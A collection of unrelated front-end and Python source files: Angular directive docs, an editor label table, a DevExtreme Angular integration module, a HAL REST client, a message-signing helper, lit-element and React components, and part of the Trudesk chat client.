* @methodOf ng.$compile.directive.Attributes
* @function
*
* @description
* Set DOM element attribute value.
*
*
* @param {string} name Normalized element attribute name of the property to modify. The name is
* revers translated using the {@link ng.$compile.directive.Attributes#$attr $attr}
* property to the original name.
* @param {string} value Value to set the attribute to. The value can be an interpolated string.
*/
/**
* Closure compiler type information
*/
function nodesetLinkingFn(
/* angular.Scope */ scope,
/* NodeList */ nodeList,
/* Element */ rootElement,
/* function(Function) */ boundTranscludeFn
){}
function directiveLinkingFn(
/* nodesetLinkingFn */ nodesetLinkingFn,
/* angular.Scope */ scope,
/* Node */ node,
/* Element */ rootElement,
/* function(Function) */ boundTranscludeFn
){}
|
var L = {
align: 'Align',
black: 'Black',
blue: 'Blue',
bold: 'Bold',
brown: 'Brown',
center: 'Center',
clean: 'Clean',
close: 'Close',
code: 'Code',
color: 'Color',
email: 'Email',
email_addr: 'Address',
email_text: 'Link text here...',
font: 'Font',
gray: 'Gray',
green: 'Green',
h1: 'Heading 1',
h2: 'Heading 2',
h3: 'Heading 3',
h4: 'Heading 4',
h5: 'Heading 5',
h6: 'Heading 6',
hide: 'Hidden (members-only)',
italic: 'Italic',
justify: 'Justify',
left: 'Left',
li: 'List item',
link: 'Link',
link_text: 'Enter text for the link here...',
more: 'Cut with "Read more..."',
ol: 'Numbered list',
orange: 'Orange',
paragraph: 'Paragraph',
picture: 'Picture',
picture_url:'Enter image URL',
pre: 'Preformatted text',
preview: 'Preview',
purple: 'Purple',
quote: 'Quote',
quote_from: 'Whom this quote is from',
red: 'Red',
right: 'Right',
size: 'Font size',
size_pt: 'Font size in pt (10-29)',
smilies: 'Smilies',
spoiler: 'Spoiler',
spoiler_text:'Enter button text here',
strike: 'Strike-through',
table: 'Table',
table_cell: 'Table cell',
table_row: 'Table row',
ul: 'Bulleted list',
underline: 'Underline',
white: 'White',
yellow: 'Yellow'
} |
/**
* DevExtreme (integration/angular/component_registrator.js)
* Version: 16.2.6
* Build date: Tue Mar 28 2017
*
* Copyright (c) 2012 - 2017 Developer Express Inc. ALL RIGHTS RESERVED
* EULA: https://www.devexpress.com/Support/EULAs/DevExtreme.xml
*/
"use strict";
var $ = require("jquery"),
registerComponent = require("../../core/component_registrator"),
Class = require("../../core/class"),
Locker = require("../../core/utils/locker"),
Widget = require("../../ui/widget/ui.widget"),
Editor = require("../../ui/editor/editor"),
NgTemplate = require("./template"),
ngModule = require("./module"),
CollectionWidget = require("../../ui/collection/ui.collection_widget.edit"),
compileSetter = require("../../core/utils/data").compileSetter,
compileGetter = require("../../core/utils/data").compileGetter,
extendFromObject = require("../../core/utils/object").extendFromObject,
inflector = require("../../core/utils/inflector"),
errors = require("../../core/errors");
var ITEM_ALIAS_ATTRIBUTE_NAME = "dxItemAlias",
SKIP_APPLY_ACTION_CATEGORIES = ["rendering"];
var safeApply = function(func, scope) {
if (scope.$root.$$phase) {
return func(scope)
} else {
return scope.$apply(function() {
return func(scope)
})
}
};
var ComponentBuilder = Class.inherit({
ctor: function(options) {
this._componentDisposing = $.Callbacks();
this._optionChangedCallbacks = $.Callbacks();
this._ngLocker = new Locker;
this._scope = options.scope;
this._$element = options.$element;
this._$templates = options.$templates;
this._componentClass = options.componentClass;
this._parse = options.parse;
this._compile = options.compile;
this._itemAlias = options.itemAlias;
this._transcludeFn = options.transcludeFn;
this._digestCallbacks = options.dxDigestCallbacks;
this._normalizeOptions(options.ngOptions);
this._initComponentBindings();
this._initComponent(this._scope);
if (!options.ngOptions) {
this._addOptionsStringWatcher(options.ngOptionsString)
}
},
_addOptionsStringWatcher: function(optionsString) {
var that = this;
var clearOptionsStringWatcher = that._scope.$watch(optionsString, function(newOptions) {
if (!newOptions) {
return
}
clearOptionsStringWatcher();
that._normalizeOptions(newOptions);
that._initComponentBindings();
that._component.option(that._evalOptions(that._scope))
});
that._componentDisposing.add(clearOptionsStringWatcher)
},
_normalizeOptions: function(options) {
var that = this;
that._ngOptions = extendFromObject({}, options);
if (!options) {
return
}
if (!options.hasOwnProperty("bindingOptions") && options.bindingOptions) {
that._ngOptions.bindingOptions = options.bindingOptions
}
if (options.bindingOptions) {
$.each(options.bindingOptions, function(key, value) {
if ("string" === $.type(value)) {
that._ngOptions.bindingOptions[key] = {
dataPath: value
}
}
})
}
},
_initComponent: function(scope) {
this._component = new this._componentClass(this._$element, this._evalOptions(scope));
this._component._isHidden = true;
this._handleDigestPhase()
},
_handleDigestPhase: function() {
var that = this,
beginUpdate = function() {
that._component.beginUpdate()
},
endUpdate = function() {
that._component.endUpdate()
};
that._digestCallbacks.begin.add(beginUpdate);
that._digestCallbacks.end.add(endUpdate);
that._componentDisposing.add(function() {
that._digestCallbacks.begin.remove(beginUpdate);
that._digestCallbacks.end.remove(endUpdate)
})
},
_initComponentBindings: function() {
var that = this,
optionDependencies = {};
if (!that._ngOptions.bindingOptions) {
return
}
$.each(that._ngOptions.bindingOptions, function(optionPath, value) {
var prevWatchMethod, clearWatcher, separatorIndex = optionPath.search(/\[|\./),
optionForSubscribe = separatorIndex > -1 ? optionPath.substring(0, separatorIndex) : optionPath,
valuePath = value.dataPath,
deepWatch = true,
forcePlainWatchMethod = false;
if (void 0 !== value.deep) {
forcePlainWatchMethod = deepWatch = !!value.deep
}
if (!optionDependencies[optionForSubscribe]) {
optionDependencies[optionForSubscribe] = {}
}
optionDependencies[optionForSubscribe][optionPath] = valuePath;
var watchCallback = function(newValue, oldValue) {
if (that._ngLocker.locked(optionPath)) {
return
}
that._ngLocker.obtain(optionPath);
that._component.option(optionPath, newValue);
updateWatcher();
if (that._component._optionValuesEqual(optionPath, oldValue, newValue) && that._ngLocker.locked(optionPath)) {
that._ngLocker.release(optionPath)
}
};
var updateWatcher = function() {
var watchMethod = $.isArray(that._scope.$eval(valuePath)) && !forcePlainWatchMethod ? "$watchCollection" : "$watch";
if (prevWatchMethod !== watchMethod) {
if (clearWatcher) {
clearWatcher()
}
clearWatcher = that._scope[watchMethod](valuePath, watchCallback, deepWatch);
prevWatchMethod = watchMethod
}
};
updateWatcher();
that._componentDisposing.add(clearWatcher)
});
that._optionChangedCallbacks.add(function(args) {
var optionName = args.name,
fullName = args.fullName,
component = args.component;
if (that._ngLocker.locked(fullName)) {
that._ngLocker.release(fullName);
return
}
if (!optionDependencies || !optionDependencies[optionName]) {
return
}
that._ngLocker.obtain(fullName);
safeApply(function() {
$.each(optionDependencies[optionName], function(optionPath, valuePath) {
var value = component.option(optionPath);
that._parse(valuePath).assign(that._scope, value);
var scopeValue = that._parse(valuePath)(that._scope);
if (scopeValue !== value) {
args.component.option(optionPath, scopeValue)
}
})
}, that._scope);
var releaseOption = function() {
if (that._ngLocker.locked(fullName)) {
that._ngLocker.release(fullName)
}
that._digestCallbacks.end.remove(releaseOption)
};
releaseOption();
that._digestCallbacks.end.add(releaseOption)
})
},
_compilerByTemplate: function(template) {
var that = this,
scopeItemsPath = this._getScopeItemsPath();
return function(options) {
var $resultMarkup = $(template).clone(),
dataIsScope = options.model && options.model.constructor === that._scope.$root.constructor,
templateScope = dataIsScope ? options.model : options.noModel ? that._scope : that._createScopeWithData(options.model);
if (scopeItemsPath) {
that._synchronizeScopes(templateScope, scopeItemsPath, options.index)
}
$resultMarkup.appendTo(options.container);
if (!options.noModel) {
$resultMarkup.on("$destroy", function() {
var destroyAlreadyCalled = !templateScope.$parent;
if (destroyAlreadyCalled) {
return
}
templateScope.$destroy()
})
}
that._applyAsync(that._compile($resultMarkup, that._transcludeFn), templateScope);
return $resultMarkup
}
},
_applyAsync: function(func, scope) {
var that = this;
func(scope);
if (!scope.$root.$$phase) {
if (!that._renderingTimer) {
that._renderingTimer = setTimeout(function() {
scope.$apply();
that._renderingTimer = null
})
}
that._componentDisposing.add(function() {
clearTimeout(that._renderingTimer)
})
}
},
_getScopeItemsPath: function() {
if (this._componentClass.subclassOf(CollectionWidget) && this._ngOptions.bindingOptions && this._ngOptions.bindingOptions.items) {
return this._ngOptions.bindingOptions.items.dataPath
}
},
_createScopeWithData: function(data) {
var newScope = this._scope.$new();
if (this._itemAlias) {
newScope[this._itemAlias] = data
}
return newScope
},
_synchronizeScopes: function(itemScope, parentPrefix, itemIndex) {
if (this._itemAlias && "object" !== typeof itemScope[this._itemAlias]) {
this._synchronizeScopeField({
parentScope: this._scope,
childScope: itemScope,
fieldPath: this._itemAlias,
parentPrefix: parentPrefix,
itemIndex: itemIndex
})
}
},
_synchronizeScopeField: function(args) {
var parentScope = args.parentScope,
childScope = args.childScope,
fieldPath = args.fieldPath,
parentPrefix = args.parentPrefix,
itemIndex = args.itemIndex;
var optionOuterPath, innerPathSuffix = fieldPath === this._itemAlias ? "" : "." + fieldPath,
collectionField = void 0 !== itemIndex,
optionOuterBag = [parentPrefix];
if (collectionField) {
if (!$.isNumeric(itemIndex)) {
return
}
optionOuterBag.push("[", itemIndex, "]")
}
optionOuterBag.push(innerPathSuffix);
optionOuterPath = optionOuterBag.join("");
var clearParentWatcher = parentScope.$watch(optionOuterPath, function(newValue, oldValue) {
if (newValue !== oldValue) {
compileSetter(fieldPath)(childScope, newValue)
}
});
var clearItemWatcher = childScope.$watch(fieldPath, function(newValue, oldValue) {
if (newValue !== oldValue) {
if (collectionField && !compileGetter(parentPrefix)(parentScope)[itemIndex]) {
clearItemWatcher();
return
}
compileSetter(optionOuterPath)(parentScope, newValue)
}
});
this._componentDisposing.add([clearParentWatcher, clearItemWatcher])
},
_evalOptions: function(scope) {
var result = extendFromObject({}, this._ngOptions);
delete result.bindingOptions;
if (this._ngOptions.bindingOptions) {
$.each(this._ngOptions.bindingOptions, function(key, value) {
result[key] = scope.$eval(value.dataPath)
})
}
result._optionChangedCallbacks = this._optionChangedCallbacks;
result._disposingCallbacks = this._componentDisposing;
result.onActionCreated = function(component, action, config) {
if (config && $.inArray(config.category, SKIP_APPLY_ACTION_CATEGORIES) > -1) {
return action
}
var wrappedAction = function() {
var that = this,
args = arguments;
if (!scope || !scope.$root || scope.$root.$$phase) {
return action.apply(that, args)
}
return safeApply(function() {
return action.apply(that, args)
}, scope)
};
return wrappedAction
};
result.nestedComponentOptions = function(component) {
return {
templatesRenderAsynchronously: component.option("templatesRenderAsynchronously"),
modelByElement: component.option("modelByElement"),
onActionCreated: component.option("onActionCreated"),
nestedComponentOptions: component.option("nestedComponentOptions")
}
};
result.templatesRenderAsynchronously = true;
result.integrationOptions = {
createTemplate: function(element) {
return new NgTemplate(element, this._compilerByTemplate.bind(this))
}.bind(this),
watchMethod: function(fn, callback, options) {
options = options || {};
var skipCallback = options.skipImmediate;
var disposeWatcher = scope.$watch(fn, function(newValue) {
if (!skipCallback) {
callback(newValue)
}
skipCallback = false
}, options.deep);
return disposeWatcher
},
templates: {
"dx-polymorph-widget": {
render: function(options) {
var widgetName = options.model.widget;
if (!widgetName) {
return
}
if ("button" === widgetName || "tabs" === widgetName || "dropDownMenu" === widgetName) {
var deprecatedName = widgetName;
widgetName = inflector.camelize("dx-" + widgetName);
errors.log("W0001", "dxToolbar - 'widget' item field", deprecatedName, "16.1", "Use: '" + widgetName + "' instead")
}
var markup = $("<div " + inflector.dasherize(widgetName) + '="options">').get(0);
var newScope = this._scope.$new();
newScope.options = options.model.options;
options.container.append(markup);
this._compile(markup)(newScope)
}.bind(this)
}
}
};
result.modelByElement = function() {
return scope
};
return result
}
});
ComponentBuilder = ComponentBuilder.inherit({
ctor: function(options) {
this._componentName = options.componentName;
this._ngModel = options.ngModel;
this._ngModelController = options.ngModelController;
this.callBase.apply(this, arguments)
},
_isNgModelRequired: function() {
return this._componentClass.subclassOf(Editor) && this._ngModel
},
_initComponentBindings: function() {
this.callBase.apply(this, arguments);
this._initNgModelBinding()
},
_initNgModelBinding: function() {
if (!this._isNgModelRequired()) {
return
}
var that = this;
var clearNgModelWatcher = this._scope.$watch(this._ngModel, function(newValue, oldValue) {
if (that._ngLocker.locked(that._ngModelOption())) {
return
}
if (newValue === oldValue) {
return
}
that._component.option(that._ngModelOption(), newValue)
});
that._optionChangedCallbacks.add(function(args) {
that._ngLocker.obtain(that._ngModelOption());
try {
if (args.name !== that._ngModelOption()) {
return
}
that._ngModelController.$setViewValue(args.value)
} finally {
that._ngLocker.release(that._ngModelOption())
}
});
this._componentDisposing.add(clearNgModelWatcher)
},
_ngModelOption: function() {
if ($.inArray(this._componentName, ["dxFileUploader", "dxTagBox"]) > -1) {
return "values"
}
return "value"
},
_evalOptions: function() {
if (!this._isNgModelRequired()) {
return this.callBase.apply(this, arguments)
}
var result = this.callBase.apply(this, arguments);
result[this._ngModelOption()] = this._parse(this._ngModel)(this._scope);
return result
}
});
var registeredComponents = {};
var registerComponentDirective = function(name) {
var priority = "dxValidator" !== name ? 1 : 10;
ngModule.directive(name, ["$compile", "$parse", "dxDigestCallbacks", function($compile, $parse, dxDigestCallbacks) {
return {
restrict: "A",
require: "^?ngModel",
priority: priority,
compile: function($element) {
var componentClass = registeredComponents[name],
$content = componentClass.subclassOf(Widget) ? $element.contents().detach() : null;
return function(scope, $element, attrs, ngModelController, transcludeFn) {
$element.append($content);
safeApply(function() {
new ComponentBuilder({
componentClass: componentClass,
componentName: name,
compile: $compile,
parse: $parse,
$element: $element,
scope: scope,
ngOptionsString: attrs[name],
ngOptions: attrs[name] ? scope.$eval(attrs[name]) : {},
ngModel: attrs.ngModel,
ngModelController: ngModelController,
transcludeFn: transcludeFn,
itemAlias: attrs[ITEM_ALIAS_ATTRIBUTE_NAME],
dxDigestCallbacks: dxDigestCallbacks
})
}, scope)
}
}
}
}])
};
registerComponent.callbacks.add(function(name, componentClass) {
if (!registeredComponents[name]) {
registerComponentDirective(name)
}
registeredComponents[name] = componentClass
});
|
'use strict';
var rest = require('rest');
var defaultRequest = require('rest/interceptor/defaultRequest');
var mime = require('rest/interceptor/mime');
var errorCode = require('rest/interceptor/errorCode');
var baseRegistry = require('rest/mime/registry');
var registry = baseRegistry.child();
registry.register('application/hal+json', require('rest/mime/type/application/hal'));
module.exports = rest
.wrap(mime, { registry: registry })
.wrap(errorCode)
.wrap(defaultRequest, { headers: { 'Accept': 'application/hal+json' }});
|
from xml.etree.ElementTree import XML
from dat.base64_encoder import UnpaddedBase64Encoder
from dat.keys import load_secret_key
from dat.version import version_string
WIKI_SIGNATURE_FORMAT = """<!-- BEGIN SIGNED MESSAGE -->
{message}
<!-- BEGIN SIGNATURE -->
{{{{DatSignature
| Signed by: {signed_by}
| Signer key: {signer_key}
| Signature: {signature}
| Version: {version}
}}}}
<!-- END SIGNATURE -->"""
XML_SIGNATURE_FORMAT = """---- BEGIN SIGNED MESSAGE ----
{message}
---- BEGIN SIGNATURE ----
Signed by: {signed_by}
Signer key: {signer_key}
Signature: {signature}
Version: {version}
---- END SIGNATURE ----"""
def signature_format(format):
if format == "wiki":
return WIKI_SIGNATURE_FORMAT
elif format == "xml":
return XML_SIGNATURE_FORMAT
def sign_message(message, format):
key_info = load_secret_key()
return sign_message_using_key(message, format, key_info.key, key_info.user_name)
def sign_message_using_key(message, format, key, user_name):
signed = key.sign(message.encode(), encoder=UnpaddedBase64Encoder)
signer_key = key.verify_key.encode(encoder=UnpaddedBase64Encoder).decode()
signature = signed.signature.decode()
return signature_format(format).format(
version=version_string(),
message=message,
signed_by=user_name,
signer_key=signer_key,
signature=signature,
)
|
define(["exports", "../../../lit-element/lit-element.js", "../../../lit-element-router/lit-element-router.js", "./elmsln-studio-utilities.js"], function (_exports, _litElement, _litElementRouter, _elmslnStudioUtilities) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.ElmslnStudioMain = void 0;
function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }
function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { babelHelpers.defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }
function _templateObject2_3850f6c0d1d911ea92952ff2097cf814() {
var data = babelHelpers.taggedTemplateLiteral(["\n :host {\n display: block;\n font-family: var(--elmsln-studio-FontFamily, sans-serif);\n }\n\n :host([hidden]) {\n display: none;\n }\n "]);
_templateObject2_3850f6c0d1d911ea92952ff2097cf814 = function _templateObject2_3850f6c0d1d911ea92952ff2097cf814() {
return data;
};
return data;
}
function _templateObject_3850f6c0d1d911ea92952ff2097cf814() {
var data = babelHelpers.taggedTemplateLiteral(["\n <slot></slot>\n "]);
_templateObject_3850f6c0d1d911ea92952ff2097cf814 = function _templateObject_3850f6c0d1d911ea92952ff2097cf814() {
return data;
};
return data;
}
/**
* `elmsln-studio-main`
* Main Content for ELMS:LN Studio
*
* @customElement elmsln-studio-main
* @lit-html
* @lit-element
*/
var ElmslnStudioMain =
/*#__PURE__*/
function (_ElmslnStudioUtilitie) {
babelHelpers.inherits(ElmslnStudioMain, _ElmslnStudioUtilitie);
function ElmslnStudioMain() {
babelHelpers.classCallCheck(this, ElmslnStudioMain);
return babelHelpers.possibleConstructorReturn(this, babelHelpers.getPrototypeOf(ElmslnStudioMain).apply(this, arguments));
}
babelHelpers.createClass(ElmslnStudioMain, [{
key: "render",
value: function render() {
return (0, _litElement.html)(_templateObject_3850f6c0d1d911ea92952ff2097cf814());
}
}], [{
key: "tag",
/**
* Store the tag name to make it easier to obtain directly.
* @notice function name must be here for tooling to operate correctly
*/
get: function get() {
return "elmsln-studio-main";
} //styles function
}, {
key: "styles",
get: function get() {
return [(0, _litElement.css)(_templateObject2_3850f6c0d1d911ea92952ff2097cf814())];
}
}, {
key: "properties",
get: function get() {
return _objectSpread({}, babelHelpers.get(babelHelpers.getPrototypeOf(ElmslnStudioMain), "properties", this));
}
}]);
return ElmslnStudioMain;
}((0, _elmslnStudioUtilities.ElmslnStudioUtilities)((0, _litElementRouter.outlet)(_litElement.LitElement)));
_exports.ElmslnStudioMain = ElmslnStudioMain;
customElements.define("elmsln-studio-main", ElmslnStudioMain);
}); |
import React from "react";
export default function Footer() {
return (
<footer className="footer py-3">
<div className="container">
<div className="row">
<div className="col-10 mx-auto col-md-6 text-yellow text-center text-capitalize">
<h3>
All rights reserved ©{new Date().getFullYear().toString()}
</h3>
</div>
</div>
</div>
</footer>
);
} |
/*
* . .o8 oooo
* .o8 "888 `888
* .o888oo oooo d8b oooo oooo .oooo888 .ooooo. .oooo.o 888 oooo
* 888 `888""8P `888 `888 d88' `888 d88' `88b d88( "8 888 .8P'
* 888 888 888 888 888 888 888ooo888 `"Y88b. 888888.
* 888 . 888 888 888 888 888 888 .o o. )88b 888 `88b.
* "888" d888b `V88V"V8P' `Y8bod88P" `Y8bod8P' 8""888P' o888o o888o
* ========================================================================
* Author: Chris Brame
* Updated: 1/20/19 4:43 PM
* Copyright (c) 2014-2019. All rights reserved.
*/
define('modules/chat', ['jquery', 'underscore', 'moment', 'modules/helpers', 'uikit', 'autogrow', 'history'], function (
$,
_,
moment,
helpers,
UIKit
) {
var chatClient = {};
var socket;
var loggedInAccount;
chatClient.init = function (sock) {
loggedInAccount = window.trudeskSessionService.getUser();
socket = sock;
socket.removeAllListeners('updateUsers1');
socket.on('updateUsers1', function (data) {
var html = '';
var onlineList = $('.online-list-wrapper').find('ul.online-list');
var username = loggedInAccount.username;
var isUserRole = loggedInAccount.role === 'user';
var filteredData = _.filter(data, function (item) {
return item.user.username !== username;
});
var activeNow = $('.active-now');
if (_.size(filteredData) < 1) {
activeNow.hide();
} else {
activeNow.show();
}
onlineList.html('');
var activeCount = 0;
_.each(filteredData, function (v) {
var onlineUser = v.user;
if (onlineUser.username === username) return true;
// This hides all other users from the active online list.
if (isUserRole && onlineUser.role === 'user') return true;
var imageUrl = onlineUser.image;
if (_.isUndefined(imageUrl)) imageUrl = 'defaultProfile.jpg';
html += '<li>';
html += '<a class="no-ajaxy" data-action="startChat" data-chatUser="' + onlineUser._id + '" href="#" role="button">';
html += '<div class="online-list-user">';
html += '<div class="image"><img src="/uploads/users/' + imageUrl + '"></div>';
html += '<span class="online-status" data-user-status-id="' + onlineUser._id + '"></span>';
html += '<div class="online-name">' + onlineUser.fullname + '</div>';
html += '</div>';
html += '</a>';
html += '</li>';
var allUserList = $('ul.user-list');
var userStatus = allUserList.find('li[data-user-id="' + onlineUser._id + '"]').find('.online-status-offline');
userStatus.removeClass('online-status-offline').addClass('online-status');
userStatus.text('');
activeCount++;
});
onlineList.append(html);
var onlineUserCount = $('.online-user-count');
if (onlineUserCount.length > 0) {
var size = _.size(filteredData);
if (size < 1) onlineUserCount.addClass('hide');
else {
onlineUserCount.text(activeCount);
onlineUserCount.removeClass('hide');
}
}
chatClient.bindActions();
});
socket.removeAllListeners('$trudesk:chat:updateOnlineBubbles');
socket.on('$trudesk:chat:updateOnlineBubbles', function (data) {
var $u = _.throttle(
function () {
updateOnlineBubbles(data);
},
1000,
{ trailing: false }
);
$u();
});
socket.removeAllListeners('spawnChatWindow');
socket.on('spawnChatWindow', function (data) {
var messageContent = $('#message-content[data-conversation-id]');
if (messageContent.length > 0) {
var loggedInAccountId = loggedInAccount._id;
startConversation(loggedInAccountId, data._id, function (err, convo) {
if (err) {
console.log('[trudesk:chat:openChatWindow] - Error');
console.error(err);
helpers.UI.showSnackbar('Unable to start chat', true);
} else {
var splitPath = window.location.pathname.split('/');
if (splitPath.length > 1) {
if (splitPath[0].toString().toLowerCase() === 'messages') {
return true;
}
} else {
History.pushState(null, null, '/messages/' + convo._id, true);
}
}
});
} else {
chatClient.openChatWindow(data);
}
});
socket.removeAllListeners('chatMessage');
socket.on('chatMessage', function (data) {
var type = data.type;
var to = data.to;
var from = data.from;
var chatBox = '';
var chatMessage = '';
var chatMessageList = '';
var scroller = '';
var selector = '';
if (type === 's') {
chatBox = $('.chat-box[data-chat-userid="' + to + '"]');
chatMessage = createChatMessageDiv(data.message);
chatMessageList = chatBox.find('.chat-message-list:first');
scroller = chatBox.find('.chat-box-messages');
chatMessageList.append(chatMessage);
helpers.scrollToBottom(scroller);
helpers.UI.playSound('sendChatMessage');
} else if (type === 'r') {
selector = '.chat-box[data-chat-userid="' + from + '"]';
chatBox = $(selector);
if (chatBox.length < 1) {
chatClient.openChatWindow(data.fromUser, function () {
chatBox = $(selector);
scroller = chatBox.find('.chat-box-messages');
helpers.scrollToBottom(scroller);
});
} else {
chatMessage = createChatMessageFromUser(data.fromUser, data.message);
chatMessageList = chatBox.find('.chat-message-list:first');
chatMessageList.append(chatMessage);
scroller = chatBox.find('.chat-box-messages');
helpers.scrollToBottom(scroller);
}
helpers.UI.playSound('receivedChatMessage');
}
$.event.trigger('$trudesk:chat:message', data);
// Ajaxify Any ticket links
$('body').ajaxify();
});
socket.removeAllListeners('chatTyping');
socket.on('chatTyping', function (data) {
$.event.trigger('$trudesk:chat:typing', data);
var chatBox = $('div[data-conversation-id="' + data.cid + '"]');
var isTypingDiv = chatBox.find('.user-is-typing-wrapper');
isTypingDiv.removeClass('hide');
var scroller = chatBox.find('.chat-box-messages');
if (scroller.length > 0) {
// Only scroll if the scroller is on bottom
if (scroller.scrollTop() + window.innerHeight >= scroller[0].scrollHeight) {
helpers.scrollToBottom(scroller);
}
}
scroller = $('#message-content');
if (scroller.length > 0) {
// Only scroll if the scroller is on bottom
if (scroller.scrollTop() + window.innerHeight >= scroller[0].scrollHeight) {
helpers.scrollToBottom(scroller);
}
}
});
socket.removeAllListeners('chatStopTyping');
socket.on('chatStopTyping', function (data) {
$.event.trigger('$trudesk:chat:stoptyping', data);
});
socket.removeAllListeners('leftChatServer');
socket.on('leftChatServer', function (data) {
$.event.trigger('$trudesk:chat:leftchatserver', data);
});
$(window).on('$trudesk:chat:stoptyping.chatSystem', function (event, data) {
var chatBox = [];
var scroller;
chatBox[0] = $('#message-content[data-conversation-id="' + data.cid + '"]');
chatBox[1] = $('.chat-box[data-conversation-id="' + data.cid + '"]');
for (var i = 0; i < chatBox.length; i++) {
chatBox[i].find('.user-is-typing-wrapper').addClass('hide');
scroller = chatBox[i].find('.chat-box-messages');
if (scroller.length > 0) {
if (scroller.scrollTop() === scroller[0].scrollHeight) {
helpers.scrollToBottom(scroller);
}
}
}
scroller = $('#message-content');
if (scroller.length > 0) {
// Only scroll if the scroller is on bottom
if (scroller.scrollTop() === scroller[0].scrollHeight) {
helpers.scrollToBottom(scroller);
}
}
});
};
var typingTimeout = {};
var isTyping = {};
function stopTyping(cid, to) {
isTyping[cid] = false;
typingTimeout[cid] = undefined;
var loggedInAccountId = loggedInAccount._id;
socket.emit('chatStopTyping', {
cid: cid,
to: to,
from: loggedInAccountId,
});
}
chatClient.stopTyping = function (cid, to, complete) {
stopTyping(cid, to);
if (_.isFunction(complete)) {
return complete();
}
};
chatClient.startTyping = function (cid, userid, complete) {
if (isTyping[cid]) {
clearTimeout(typingTimeout[cid]);
typingTimeout[cid] = setTimeout(stopTyping, 5000, cid, userid);
if (_.isFunction(complete)) {
return complete();
}
} else {
socket.emit('chatTyping', {
cid: cid,
to: userid,
from: loggedInAccount._id,
});
isTyping[cid] = true;
if (typingTimeout[cid] === undefined) {
typingTimeout[cid] = setTimeout(stopTyping, 5000, cid, userid);
}
if (_.isFunction(complete)) {
return complete();
}
}
};
chatClient.bindActions = function () {
$(document).ready(function () {
$('*[data-action="startChat"]').each(function () {
var self = $(this);
self.off('click');
self.click(function (e) {
var userId = self.attr('data-chatUser');
socket.emit('spawnChatWindow', userId);
UIKit.offcanvas.hide();
e.preventDefault();
});
});
});
};
function bindChatWindowActions(convoId) {
var $chatBox = $('.chat-box[data-conversation-id="' + convoId + '"]');
if ($chatBox.length < 1) {
return false;
}
var $textarea = $chatBox.find('textarea.textAreaAutogrow');
var $chatBoxText = $chatBox.find('.chat-box-text');
var $chatCloseButton = $chatBox.find('.chatCloseBtn');
var $chatTitleBar = $chatBox.find('.chat-box-title');
$textarea.off('keyup');
$textarea.off('keydown');
$textarea.on('keydown', function (e) {
if (e.keyCode === 13) {
return;
}
var self = $(this);
var cid = self.parent().parent().attr('data-conversation-id');
var user = self.parent().parent().attr('data-chat-userid');
if (cid === undefined || user === undefined) {
console.log('Invalid Conversation ID or User ID');
return;
}
chatClient.startTyping(cid, user);
});
$textarea.autogrow({
postGrowCallback: chatBoxTextAreaGrowCallback,
enterPressed: function (self, v) {
var messages = self.parent().siblings('.chat-box-messages');
var cid = self.parent().parent().attr('data-conversation-id');
var userId = self.parents('.chat-box').attr('data-chat-userid');
helpers.scrollToBottom(messages);
if (v.length < 1) return;
// Send Message
chatClient.sendChatMessage(cid, userId, v, function () {
clearTimeout(typingTimeout[cid]);
stopTyping(cid, userId);
});
},
});
$chatBoxText.off('click');
$chatBoxText.click(function (e) {
if ($(this).children('textarea').is(':focus')) {
e.stopPropagation();
return false;
}
$(this).children('textarea').focus();
var val = $(this).children('textarea').val();
$(this).children('textarea').val('').val(val);
});
$chatCloseButton.off('click');
$chatCloseButton.click(function (e) {
e.preventDefault();
$(this).parents('.chat-box[data-chat-userid]').parent().remove();
var $loggedInAccountId = loggedInAccount._id;
var cid = $chatCloseButton.parents('.chat-box[data-conversation-id]').attr('data-conversation-id');
socket.emit('saveChatWindow', {
userId: $loggedInAccountId,
convoId: cid,
remove: true,
});
});
$chatTitleBar.off('click');
$chatTitleBar.click(function () {
var p = $(this).parents('.chat-box-position');
if (p.css('top') === '-280px') {
p.animate(
{
top: -29,
},
250
);
} else {
p.animate(
{
top: -280,
},
250
);
}
});
}
// Make this return messages with single HTTP request
function startConversation(owner, receiver, callback) {
if (owner === receiver) {
return callback('Invalid Participants');
}
$.ajax({
url: '/api/v1/messages/conversation/start',
type: 'POST',
contentType: 'application/json',
dataType: 'json',
data: JSON.stringify({
owner: owner,
participants: [owner, receiver],
}),
success: function (data) {
$.ajax({
url: '/api/v1/messages/conversation/' + data.conversation._id,
type: 'GET',
success: function (d) {
var userMeta =
data.conversation.userMeta[
_.findIndex(data.conversation.userMeta, function (item) {
return item.userId.toString() === owner.toString();
})
];
if (userMeta && userMeta.deletedAt) {
d.messages = _.filter(d.messages, function (message) {
return moment(message.createdAt) > moment(userMeta.deletedAt);
});
}
data.conversation.messages = d.messages;
return callback(null, data.conversation);
},
error: function (err) {
return callback(err);
},
});
},
error: function (err) {
return callback(err);
},
});
}
function loadChatMessages(chatBox, messageArray) {
var to = chatBox.attr('data-chat-userid');
var chatMessage;
var chatMessageList;
var scroller;
messageArray.reverse();
_.each(messageArray, function (m) {
if (m.owner._id === to) {
chatMessage = createChatMessageFromUser(m.owner, m.body);
chatMessageList = chatBox.find('.chat-message-list:first');
chatMessageList.append(chatMessage);
scroller = chatBox.find('.chat-box-messages');
helpers.scrollToBottom(scroller);
} else {
chatMessage = createChatMessageDiv(m.body);
chatMessageList = chatBox.find('.chat-message-list:first');
scroller = chatBox.find('.chat-box-messages');
chatMessageList.append(chatMessage);
helpers.scrollToBottom(scroller);
}
});
// Ajaxify Any ticket links
$('body').ajaxify();
}
chatClient.sendChatMessage = function (cid, toUserId, message, complete) {
var loggedInAccountId = loggedInAccount._id;
$.ajax({
url: '/api/v1/messages/send',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify({
cId: cid,
owner: loggedInAccountId,
body: message,
}),
success: function (data) {
socket.emit('chatMessage', {
conversation: cid,
to: toUserId,
from: loggedInAccountId,
type: 's',
messageId: data.message._id,
message: data.message.body,
});
